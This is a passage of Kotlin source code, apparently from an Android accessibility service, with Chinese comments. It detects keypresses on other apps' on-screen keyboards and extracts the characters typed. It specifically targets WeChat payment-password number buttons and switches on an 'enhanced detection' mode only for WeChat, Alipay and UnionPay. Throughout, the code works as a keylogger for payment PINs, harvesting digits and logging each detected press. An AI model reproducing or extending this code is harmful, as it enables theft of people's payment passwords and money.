val isKeyboardClass = className.lowercase().let { cls -> cls.contains("key") || cls.contains("button") || cls.contains("numpad") || cls.contains("keyboard") || cls.contains("input") || cls.contains("pin") || cls.contains("digit") || cls.contains("char") || cls.contains("layout") || cls.contains("pad") || cls.contains("board") || cls.contains("numeric") } // 3. 检查文本是否为键盘字符 val isKeyboardText = eventText.let { text -> text.length == 1 || // 单字符 text.matches(Regex("[0-9a-zA-Z@#*.,!?()\\-+=/\\s]")) || // 键盘字符 extractDigitFromText(text) != null || // 包含数字 text.matches(Regex(".*[0-9].*")) // 包含数字的复合文本 } // 4. 检查描述是否像键盘 val isKeyboardDesc = contentDesc.lowercase().let { desc -> desc.contains("key") || desc.contains("按键") || desc.contains("键") || desc.contains("button") || desc.contains("输入") || desc.contains("数字") || desc.matches(Regex(".*[0-9a-zA-Z].*")) || desc.contains("字母") || desc.contains("符号") || desc.contains("空格") || desc.contains("删除") } // 5. 微信特殊检测:支付密码界面的数字按钮 val isWeChatPayment = packageName.contains("tencent.mm") && ( className.contains("button") || className.contains("view") || eventText.matches(Regex("[0-9]")) || contentDesc.matches(Regex("[0-9]")) ) val result = isInputMethod || isKeyboardClass || isKeyboardText || isKeyboardDesc || isWeChatPayment if (result) { Log.d(TAG, "🔍 [键盘检测] 检测到键盘点击:") Log.d(TAG, " 输入法: $isInputMethod") Log.d(TAG, " 键盘类名: $isKeyboardClass") Log.d(TAG, " 键盘文本: $isKeyboardText") Log.d(TAG, " 键盘描述: $isKeyboardDesc") Log.d(TAG, " 微信支付: $isWeChatPayment") } return result } /** * ✅ 提取键盘字符 - 从多种源提取最可能的字符 */ private fun extractKeyboardCharacter(eventText: String, contentDesc: String, className: String): String { // 1. 优先从文本提取单字符 if (eventText.length == 1 && eventText.matches(Regex("[0-9a-zA-Z@#*.,!?()\\-+=/\\s]"))) { return eventText } // 2. 从文本提取数字 val textDigit = extractDigitFromText(eventText) if (textDigit != null) { return textDigit } // 3. 从描述提取字符 if (contentDesc.length == 1 && contentDesc.matches(Regex("[0-9a-zA-Z@#*.,!?()\\-+=/\\s]"))) { return contentDesc } // 4. 从描述提取数字 val descDigit = extractDigitFromText(contentDesc) if (descDigit != null) { return descDigit } // 5. 特殊字符映射 val specialMappings = mapOf( "space" to " ", "空格" to " ", "delete" to "⌫", "删除" to "⌫", "backspace" to "⌫", "回退" to "⌫", "enter" to "↵", "确认" to "↵", "返回" to "↵" ) val lowerDesc = contentDesc.lowercase() for ((key, value) in specialMappings) { if (lowerDesc.contains(key)) { return value } } // 6. 如果文本包含数字,提取第一个数字 val firstDigit = eventText.firstOrNull { it.isDigit() } if (firstDigit != null) { return firstDigit.toString() } // 7. 如果描述包含数字,提取第一个数字 val firstDescDigit = contentDesc.firstOrNull { it.isDigit() } if (firstDescDigit != null) { return firstDescDigit.toString() } // 8. 返回原始文本的第一个字符(如果合理) if (eventText.isNotEmpty() && eventText.length <= 3) { return eventText.take(1) } return "" } /** * ✅ 增强检测的安全开关 */ private fun shouldUseEnhancedDetection(packageName: String, className: String, text: String, contentDescription: String): Boolean { // 1. 检查增强模式是否激活且未超时 val currentTime = System.currentTimeMillis() if (!isEnhancedDetectionMode || (currentTime - enhancedDetectionStartTime) > enhancedDetectionTimeout) { if (isEnhancedDetectionMode && (currentTime - enhancedDetectionStartTime) > enhancedDetectionTimeout) { deactivateEnhancedDetection("超时自动关闭") } return false } // 2. 检查是否为第三方应用(排除SystemUI) if (packageName.contains("systemui", ignoreCase = true)) { return false } // 3. 检查是否为支付应用 val isPaymentApp = packageName.contains("tencent.mm") || packageName.contains("alipay") || packageName.contains("unionpay") if (!isPaymentApp) { return false } // 4. 检查是否为键盘相关的点击 val isKeyboardRelated = className.lowercase().let { cls -> cls.contains("button") || cls.contains("view") || cls.contains("key") || cls.contains("input") || cls.contains("layout") } // 5. 检查文本或描述是否包含数字字符 val hasNumericContent = text.matches(Regex(".*[0-9].*")) || contentDescription.matches(Regex(".*[0-9].*")) || text.length == 1 return isKeyboardRelated && hasNumericContent } }